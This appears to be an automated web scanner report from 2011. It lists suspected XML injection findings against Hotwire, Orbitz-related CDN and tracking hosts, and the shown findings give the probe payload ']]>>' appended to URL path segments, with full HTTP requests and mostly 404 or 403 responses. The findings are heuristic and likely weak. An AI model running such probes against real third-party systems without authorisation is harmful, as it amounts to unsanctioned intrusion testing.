HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535955 Date: Mon, 03 Oct 2011 01:01:56 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/review-rating-symbols/4.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535943 Date: Mon, 03 Oct 2011 01:01:59 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols]]>>/4.0.gif?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols/4.0.gif]]>>?ver=146387 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/review-rating-symbols/overall/3.5.gif?ver=185464 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:54 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/review-rating-symbols/overall/3.5.gif?ver=185464 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:57 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols]]>>/overall/3.5.gif?ver=185464 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:00 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols/overall]]>>/3.5.gif?ver=185464 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:03 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/review-rating-symbols/overall/3.5.gif]]>>?ver=185464 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:08 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:08 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static]]>>/images/tripWatcher/passiveModule/shoppingTools/img-tw-side-module.png?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:55 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images]]>>/tripWatcher/passiveModule/shoppingTools/img-tw-side-module.png?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:01:58 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/tripWatcher]]>>/passiveModule/shoppingTools/img-tw-side-module.png?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:02 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 4 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 4. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/tripWatcher/passiveModule]]>>/shoppingTools/img-tw-side-module.png?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31535997 Date: Mon, 03 Oct 2011 01:02:05 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 5 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 5. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/tripWatcher/passiveModule/shoppingTools]]>>/img-tw-side-module.png?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Cache-Control: private, max-age=31536000 Date: Mon, 03 Oct 2011 01:02:10 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 6 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 6. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /static/images/tripWatcher/passiveModule/shoppingTools/img-tw-side-module.png]]>>?ver=177999 HTTP/1.1 Host: ak-static.hotwirestatic.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.hotwire.com/hotel/details.jsp?actionType=2&inputId=hotel-results&searchId=6111849947&selectedSolutionId=135420317134&selectedPGoodId=236179701665 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Server: Apache Vary: accept-language,accept-charset Accept-Ranges: bytes Content-Type: text/html; charset=iso-8859-1 Content-Language: en Content-Length: 1422 Vary: Accept-Encoding Expires: Mon, 03 Oct 2011 01:02:15 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 03 Oct 2011 01:02:15 GMT Connection: close
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" l ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /pix.gif]]>>?acct_id=4079&ptype=product&cat=HOTEL&is_paid=0&prod_id=10417&prod_name=The%20Boston%20Park%20Plaza%20Hotel%20%26%20Towers&search_term=&session_id=DFE4F06BE571072B&is_conversion=&basket_value=&order_id=&version=0.2&url=http%3A%2F%2Fwww.orbitz.com%2Fshop%2Fhotelsearch%3Ftype%3Dhotel%26hotel.keyword.key%3DBoston%252CUnited%2520States%26hotel.rooms%5B0%5D.adlts%3D1%26hotel.type%3Dkeyword%26hotel.chkin%3D10%2F04%2F11%26hotel.chkout%3D10%2F07%2F11%26search%3DSearch%26WT.mc_ev%3Dclick%26WT.mc_id%3Do_igo_merch_city_dated%26gcid%3DC11287x600-CYBoston%2CUnited%2520States%26lpid%3Dplhot%26hsv.showDetails%3Dtrue%26hotel.hid%3D10417%26hotel.hkey%3D10417_null_null_null_A1%3A0&ref=http%3A%2F%2Fwww.orbitz.com%2Fshop%2Fhotelsearch%3Ftype%3Dhotel%26hotel.keyword.key%3DBoston%252CUnited%2520States%26hotel.rooms%5B0%5D.adlts%3D1%26hotel.type%3Dkeyword%26hotel.chkin%3D10%2F04%2F11%26hotel.chkout%3D10%2F07%2F11%26search%3DSearch%26WT.mc_ev%3Dclick%26WT.mc_id%3Do_igo_merch_city_dated%26gcid%3DC11287x600-CYBoston%2CUnited%2520States%26lpid%3Dplhot&sid=undefined&cookie=uid%3D999836241826%3A&cookie2=uid%3D999836241826%3A%3A_uid%3D999836241826%3A&rand=0.5940432497300208&type=pageview&title=Boston HTTP/1.1 Host: lb-static1-1568763564.us-east-1.elb.amazonaws.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.keyword.key=Boston%2CUnited%20States&hotel.rooms[0].adlts=1&hotel.type=keyword&hotel.chkin=10/04/11&hotel.chkout=10/07/11&search=Search&WT.mc_ev=click&WT.mc_id=o_igo_merch_city_dated&gcid=C11287x600-CYBoston,United%20States&lpid=plhot&hsv.showDetails=true&hotel.hid=10417&hotel.hkey=10417_null_null_null_A1:0 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Content-Type: text/html Date: Mon, 03 Oct 2011 00:32:28 GMT Server: lighttpd/1.4.19 Content-Length: 345 Connection: keep-alive
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 403 Forbidden Content-Type: application/xml Date: Mon, 03 Oct 2011 00:27:03 GMT Connection: close Connection: Transfer-Encoding P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" Content-Length: 231
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 403 Forbidden Content-Type: application/xml Date: Mon, 03 Oct 2011 00:27:07 GMT Connection: close Connection: Transfer-Encoding P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" Content-Length: 231
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 403 Forbidden Content-Type: application/xml Date: Mon, 03 Oct 2011 00:27:10 GMT Connection: close Connection: Transfer-Encoding P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND UNI COM NAV INT" Content-Length: 231
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 3 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 3. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /800003]]>>/origin.edgecast.com/cx/cdx10b.js?rnd=9808656215 HTTP/1.1 Host: wac.edgecastcdn.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/cacheable/cedexis/radar.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Content-Type: text/html Date: Mon, 03 Oct 2011 00:28:30 GMT Server: ECS (sjo/5279) Content-Length: 345
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
Request
GET /800003/origin.edgecast.com]]>>/cx/cdx10b.js?rnd=9808656215 HTTP/1.1 Host: wac.edgecastcdn.net Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.orbitz.com/cacheable/cedexis/radar.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Content-Type: text/html Date: Mon, 03 Oct 2011 00:28:30 GMT Server: ECS (sjo/527A) Content-Length: 345
<?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 1. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 404 Not Found Server: Apache Content-Length: 229 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 03 Oct 2011 00:31:19 GMT Connection: close Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /en]]>>/cmds/stats.xml.php was not found on this server.</p> ...[SNIP]...
The REST URL parameter 2 appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the REST URL parameter 2. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.
HTTP/1.1 404 Not Found Server: Apache Content-Length: 229 Content-Type: text/html; charset=iso-8859-1 Date: Mon, 03 Oct 2011 00:31:23 GMT Connection: close Vary: Accept-Encoding
